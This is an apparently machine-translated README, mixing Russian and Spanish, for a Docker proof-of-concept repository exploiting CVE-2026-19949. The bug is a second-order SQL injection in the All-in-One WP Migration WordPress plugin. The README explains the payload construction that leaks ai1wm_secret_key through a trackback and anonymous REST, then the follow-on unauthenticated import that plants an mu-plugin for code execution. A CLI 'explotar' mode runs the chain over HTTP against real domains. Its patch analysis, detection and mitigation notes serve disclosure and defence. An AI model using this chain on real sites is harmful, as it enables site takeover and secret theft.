Воспроизводимый proof-of-concept на основе Docker для CVE-2026-19949 — SQL-инъекции второго порядка в All-in-One WP Migration <= 7.109, которая раскрывает ai1wm_secret_key через анонимный REST и приводит к удалённому выполнению кода.
Неаутентифицированная SQL-инъекция второго порядка в All-in-One WP Migration and Backup (WordPress),
которая приводит к утечке ai1wm_secret_key и, с её помощью, к удалённому выполнению кода (RCE).
Читать на: English · Español
| CVE | CVE-2026-19949 |
| Плагин | All-in-One WP Migration and Backup (ServMask), ≤ 7.109 |
| Патч | 7.110 (20 августа 2026) |
| CVSS | 8.8 (Высокий) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Условие | Администратор экспортирует и восстанавливает сайт (рутинное действие с этим плагином) |
| Исследователь | Jack Taylor (программа вознаграждений Wordfence) |
⚠️ Исключительно в образовательных и защитных целях. Эта лаборатория атакует сайт WordPress, который работает на вашей собственной машине, внутри Docker-контейнеров. Не используйте её против систем, которые вам не принадлежат или на которые у вас нет явного разрешения.
Поток экспорта/импорта плагина выгружает базу данных в SQL
(database.sql внутри .wpress) и при импорте переписывает каждое выражение
с помощью Ai1wm_Database::replace_table_values() для замены URL и префиксов
таблиц. Для поиска строковых литералов используется regex:```php
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
Проблема в *negative lookbehind* `(?<!\\)`: **он проверяет только один байт**
перед каждой кандидатной закрывающей кавычкой, а не подсчитывает весь *run*
обратных слешей. В дампе MySQL данные, заканчивающиеся на `\`, записываются как
`...\\'` — закрывающая кавычка, перед которой стоит **чётное** число обратных
слешей (реальная строка, заканчивающаяся обратным слешем) — но regex считает её
экранированной и **перехватывает следующий литерал**. Затем callback выполняет
`unescape_mysql → replace_serialized_values → escape_mysql` над
перехваченным значением, и этот цикл заново выдаёт несбалансированную
последовательность кавычек/обратных слешей, которая **переворачивает границу
строки MySQL** в результирующем операторе, превращая данные атакующего в
исполняемый SQL.
## 2. Корневая причина: regex, переворачивающий строку
С установленным trackback (см. §4), строка в `database.sql` выглядит так:```sql
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);
Автор заканчивается на \ на уровне данных → дамп записывает его как \\ →
закрывающая кавычка оказывается предшествующей чётному числу обратных слешей. Regex избыточно захватывает
вплоть до открывающей кавычки следующего поля, и callback повторно экранирует
весь набор:```
'Jack Blogs\\',' ← contenido sobre-capturado
unescape → 'Jack Blogs\',' ← strtr colapsa los pares
escape → 'Jack Blogs\\', ← una comilla ESCAPADA nueva ha aparecido
salida → 'Jack Blogs\\','…' ← el par \ , ' voltea el límite de la cadena
Начиная с этого момента, всё, что следует дальше в строке, повторно токенизируется с изменённой чётностью (данные, которые были строкой, становятся кодом и наоборот). Исправленный regex версии 7.110 обрабатывает ту же строку и возвращает её **идентичной**.
Вы можете увидеть это побайтово, ничего не эксплуатируя, с помощью `make demo-flip` (`exploit/04_demo_flip.php`), который выполняет НАСТОЯЩИЙ код плагина 7.109 и 7.110 на одной и той же строке дампа.
## 3. Патч (7.109 → 7.110)```diff
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );
Новый шаблон корректно токенизирует литералы MySQL: либо символ, не являющийся
кавычкой/обратным слешем, либо escape-пара \x, с possess-квантификаторами. Пара
обратных слешей больше не сбивает с толку закрытие литерала.
Цепочка, опубликованная Wordfence (сент. 2026), состоит из четырёх шагов:
wp-trackback.php?p=<id>). Blog name
(→ comment_author) заканчивается на \, а URL (→ comment_author_url) несёт
payload. WordPress сохраняет их, не трогая обратный слеш. В опубликованном
варианте первый trackback действует как бомба замедленного действия: он принудительно
обрывает проход импорта (лимит 10 с), чтобы payload выполнился в
последующем проходе, когда импортёр уже восстановил
ai1wm_secret_key сайта в wp_options (экспортёр исключает её из
дампа; импортёр перезаписывает её между проходами).ai1wm_secret_key в одобренный комментарий
типа comment, видимый в REST API комментариев без аутентификации.admin-ajax.php?action=ai1wm_import также зарегистрирован для
анонимных пользователей (wp_ajax_nopriv_ai1wm_import), и его единственный барьер —
ai1wm_verify_secret_key(). С отфильтрованным ключом атакующий проводит
цепочку импорта со своим .wpress, который включает mu-plugin;
шаг Ai1wm_Import_Mu_Plugins (приоритет 270 в цепочке) извлекает его в
wp-content/mu-plugins/ → выполнение кода при следующей загрузке.Этот репозиторий проверяет цепочку от начала до конца с одним-единственным внедрённым trackback'ом (бомба замедленного действия не нужна в лаборатории: строка выполняется в последующем проходе после сброса ключа).
Точный эксплойт исследователя не является публичным (исчерпывающий поиск
2026-09-07: GitHub — 2 существующих репозитория — это пустой шаблон и
массовый инструмент с несуществующими эндпоинтами —, Exploit-DB/PacketStorm 0,
Sploitus индексирует только эти фейковые репозитории, WPScan без PoC, форумы только с новостями;
криминалистические детали в research/poc-publica/ANALISIS.md).
Мы вывели его сами на основе анализа механизма
(exploit/investigacion/). Дизайн:
\ → lookbehind в один байт уязвимого
regex'а перехватывает следующий литерал, и цикл unescape→escape
переворачивает границу строки.comment_author и строка , поглощают
смещение; начальная запятая в URL восстанавливает структурный
разделитель, который был поглощён)./**/ в качестве разделителей:
\' и в зоне кода оставила бы
осиротевший обратный слеш (ошибка 1064) → отсюда hex (0x616931776d… =
"ai1wm_secret_key");sanitize_url удаляет пробелы (и добавляет http:// ко всему,
что не начинается с /) → отсюда старт /*pwn*/ и /**/;comment_author_url) = подзапрос, который читает
ключ → ключ оказывается в публичном поле; 11-й = 0x31
('1', одобренный комментарий); 13-й = 0x636f6d6d656e74 ('comment',
видимый в анонимной REST);) закрывает кортеж ровно с 15 значениями, а # (MySQL-комментарий
без пробела, который sanitize_url сохраняет) нейтрализует остаток
исходного выражения.SERVMASK_PREFIX_options: импортёр
переписывает префиксы SERVMASK→реальные до прохода regex'а, поэтому
payload работает на сайтах с любым префиксом таблиц
(проверено). Единственные специфичные для цели данные — её URL, переносимый
в excerpt для срабатывания фильтра strpos импортёра (он переписывает только
строки, которые его содержат).Результирующее выражение (которое MySQL выполняет во время восстановления):
comment_author_url = (SELECT option_value FROM <префикс>_options WHERE option_name='ai1wm_secret_key') — подлинный ключ оказывается в поле, которое
REST API публикует без аутентификации.
| Шаг цепочки | Статус | Где |
|---|---|---|
| Воспроизводимая уязвимая установка (WP 7.1 + плагин 7.109) | ✅ | make lab |
| Внедрение без аутентификации через trackback (байт-точно, авто-одобрено) | ✅ | make plant |
| Экспорт администратора; дамп содержит внедрённую строку | ✅ | make export |
| Корневая причина: regex 7.109 переворачивает границу строки (в отличие от 7.110, где она цела) | ✅ | make demo-flip |
| Восстановление администратора: переворот переписывает SQL и повреждает/теряет строку в 7.109 | ✅ | make restore |
| Фильтрация ключа (собственный производный payload) → реальная утечка через REST без аутентификации | ✅ | make leak |
| RCE: неаутентифицированный импорт с ключом → выполненный mu-plugin | ✅ | make rce-auto |
| Отрицательный контроль: в 7.110 строка выживает нетронутой, без утечки | ✅ | make control-7110 |
| Матрица WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3: полная цепочка ✓ во всех | ✅ | research/test-wp-versions.sh |
| Полная удалённая цепочка (только HTTP, применимо к реальному домену) | ✅ | python3 cli/poc.py explotar … |
Проверенный результат end-to-end: после экспорта+восстановления администратором
подлинный ai1wm_secret_key появляется как author_url одобренного
комментария в GET /wp-json/wp/v2/comments — без какой-либо аутентификации — и с
ним выполняется фаза RCE (mu-plugin извлечён и выполнен, маркеры
доказательства в wp-content/). В 7.110 строка выживает нетронутой (payload
остаётся инертными данными), и утечки нет.
Фаза RCE дополнительно демонстрируется независимо: её единственный
вход — ключ, который можно передать вручную (make rce KEY=…) — точное
состояние атакующего после утечки.
Матрица выполнена с помощью bash research/test-wp-versions.sh 7.0 6.9 6.8
(лаборатория пересобрана по версиям, плагин 7.109, идентичный payload):
| WordPress | plant | export | restore | leak | RCE |
|---|---|---|---|---|---|
| 7.1.0 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 7.0.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.9.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.8.3 | ✓ | ✓ | ✓ | ✓ | ✓ |
Механика стабильна во всех: sanitize_url сохраняет payload,
wp_comments содержит все 15 столбцов, а wp-trackback.php остаётся рабочим.
Payload не зависит от префикса таблиц (см. §5).
docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y WP_VERSION configurables (7.109 por defecto, 7.110 control) docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org setup/init.sh core install, activa el plugin, crea la entrada con pings abiertos, comentarios sin moderación exploit/ ← fases numeradas de la PoC 01_plant_trackback.sh Fase 1 — trackback malicioso (no autenticado) 02_export.sh Fase 2a — export del admin (vía aiowpm_client) 03_restore.sh Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila 04_demo_flip.php Causa raíz byte a byte: regex 7.109 vs 7.110 05_build_wpress.py Construye el .wpress malicioso (package.json + mu-plugin) 06_rce_unauth.py Fase 3 — import no autenticada con la clave → RCE 07_leak_key.sh Fase 3a — lee la clave filtrada de la REST anónima aiowpm_client.py Cliente del protocolo AJAX del plugin (export/import por prioridades, como su JavaScript) wpress.py Lector/escritor del formato .wpress (bloques de 4377 B) mu_plugin.php Mu-plugin BENIGNO (marcadores de evidencia, sin shell) investigacion/ Arneses y fuzzers con los que se DERIVÓ el payload: harness.php (pipeline real del plugin + MySQL de prueba), afinar/test/fuzzers, NOTAS.md del análisis cli/poc.py CLI de demostración: lab / scan / verificar / explotar web/index.html Landing bilingüe del CVE (estilo base de datos de vulnerabilidades; sin dependencias externas) research/ test-wp-versions.sh Matriz de compatibilidad por versión de WordPress poc-publica/ANALISIS.md Refutación forense de las «PoC públicas» falsas Makefile Objetivos: lab, plant, export, restore, demo-flip, leak, rce-auto, full-demo, control-7110, demo-cli… README.md / README.en.md Esta documentación (ES/EN) .gitignore Fuera: informes con claves, .wpress generados, zips y fuentes del plugin (terceros), PoC falsas descargadas
Artefactos que se generan al ejecutar y **no se comparten** (ver `.gitignore`):
`informes/` (contienen claves filtradas), `exploit/malicious.wpress`,
`plugin-src/` (fuentes 7.109/7.110 extraídas para diff), `research/*.zip`
(zips originales de WordPress.org), `research/database.sql`,
`research/backup-legit.wpress` y los ficheros de las PoC falsas analizadas.
## 9. Requisitos y arranque rápido
Requisitos: Docker (con el plugin compose), make, python3 con `requests`, curl.```bash
make full-demo # laboratorio completo de cero: lab → plant → export →
# restore → flip → leak → rce (todo lo anterior de una vez)
Ожидаемый вывод (кратко):``` FASE 1 trackback plantado sin autenticar (error 0, comment_approved=1) FASE 2a export OK → .wpress en ai1wm-backups/ FASE 2b restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno: la fila con '' final se pierde (INSERT reescrito/corrupto en 7.109) FLIP regex 7.109: 'Jack Blogs\\', → 'Jack Blogs\\',' (límite volteado) regex 7.110: la línea sale IDÉNTICA LEAK ai1wm_secret_key visible en la REST de comentarios sin autenticar RCE import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949
Доступ к сайту жертвы: <http://localhost:8080> — admin / `admin-password-123`
(публичная запись ID 4 с пингами и открытыми комментариями).
## 10. Пошаговые фазы (цели make)```bash
make lab # levantar/inicializar el laboratorio (plugin 7.109)
make plant # Fase 1 — plantar el trackback (anónimo)
make export # Fase 2a — exportar como admin
make restore # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX # Fase 3 — RCE pasando la clave a mano
make rce-auto # Fase 3 — RCE encadenado con la clave filtrada
make control-7110 # control negativo con el plugin parcheado
make lab-7109 # volver al laboratorio vulnerable tras el control
make demo-cli # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com # detección no invasiva
make landing # servir la landing del CVE en http://localhost:8090
make status | logs # estado de contenedores / log de WordPress
make down | clean # parar / parar y borrar volúmenes y artefactos
Одна команда со всеми режимами; генерирует отчёты в informes/
(текст + JSON; папка находится вне репозитория, так как содержит ключи):```bash
python3 cli/poc.py lab # demo completa en el laboratorio (cadena + control 7.110)
python3 cli/poc.py scan https://www.tudominio.com # detección NO invasiva (versión del plugin)
python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima)
python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad
--admin-user TU_ADMIN --admin-pass TU_CLAVE --rce # cadena completa en TU dominio
- `lab` поднимает лабораторию, выполняет всю цепочку и контрольный
негативный тест с 7.110, и пишет отчёт (`--sin-control` для пропуска).
- `scan` на 100 % пассивен: читает публичный `readme.txt` плагина, проверяет
`wp-trackback.php` и REST комментариев. Возвращает вердикт.
- `verificar` повторно проверяет, появился ли ключ уже в анонимной REST (например,
спустя часы после внедрения, когда админ сделал свой backup+restore).
- `explotar` ИНВАЗИВЕН и требует `--acepto-responsabilidad` + интерактивное
подтверждение домена: внедряет trackback, имитирует админа
(export → скачивание backup → повторная загрузка и restore; **только HTTP**, с
учётными данными, которые ТЫ предоставляешь для СВОЕГО сайта), читает утёкший ключ и, с
`--rce`, оставляет безвредный маркер через анонимный импорт. Без учётных данных
админа: внедряет и остаётся в ожидании (`--esperar` для ожидания утечки;
`--post-id` для выбора записи; `--no-interactivo` для скриптов).
## 12. Landing CVE
Статическая двуязычная страница (ES/EN, переключатель в шапке, предпочтение
запоминается), объясняющая CVE и payload в эстетике базы данных
уязвимостей: сводка, цепочка, **интерактивная разборка payload
сегмент за сегментом**, матрицы проверки и смягчения.```bash
make landing # sirve http://localhost:8090
Без внешних зависимостей (ни CDN, ни сторонних JS): работает при открытии
web/index.html напрямую или с любым статическим сервером.
wp-trackback.php и pingbacks
(опции обсуждения / WAF), ограничьте admin-ajax.php для анонимных
пользователей, когда это возможно, и отслеживайте появление файлов в
wp-content/mu-plugins/ и опции ai1wm_secret_key в аномальных контекстах
(например, в комментариях).comment_author заканчивается на \ или comment_author_url содержит
SELECT/**/, CONCAT(, длинные литералы 0x… или /*…*/; одобренные
комментарии, у которых author_url — это буквенно-цифровая строка из 12
символов без схемы.exploit/investigacion/): мы исходим из
обвязки (harness.php), которая загружает РЕАЛЬНЫЕ классы плагина 7.109 и
выполняет конвейер против тестового MySQL с поддельным ключом. Фаззеры
(search_payload.php, fuzz_rows.php, fuzz4.php,
bruteforce_author.php) исследовали критические алфавиты по четырём
управляемым полям trackback; afinar_payload.php подогнал количество
выражений (N=12), а test_payload_final.php подтвердил полную схему.
В NOTAS.md собраны результаты анализа, включая структурные барьеры
(фиксированные поля INSERT в wp_comments, sql_mode, навязываемый
импортёром, фильтр strpos для URL сайта).research/poc-publica/ANALISIS.md):
оба репозитория GitHub, заявляющих о его наличии, используют
несуществующие эндпоинты (aio-migration/v1 с permission_callback вместо
реального ai1wm/v1), неверное поле загрузки (file вместо
upload_file), формат ZIP вместо .wpress и циклическую предпосылку. Ни
один сторонний источник не имеет собственного PoC.lib/vendor/servmask/database/ class-ai1wm-database.php:1637; извлечённые исходники лежат в plugin-src/,
не публикуются)Этот материал публикуется в образовательных и защитных целях: понять
уязвимость, проверить патч и построить механизмы обнаружения. Цепочка
выполнялась только против собственных Docker-лабораторий. Атака на системы
третьих лиц без письменного разрешения незаконна в большинстве юрисдикций.
Если вы администрируете затронутые сайты: обновитесь до ≥ 7.110, смените
ai1wm_secret_key (деактивируйте/активируйте плагин или удалите опцию, чтобы
она перегенерировалась) и проверьте wp-content/mu-plugins/ и недавние
комментарии.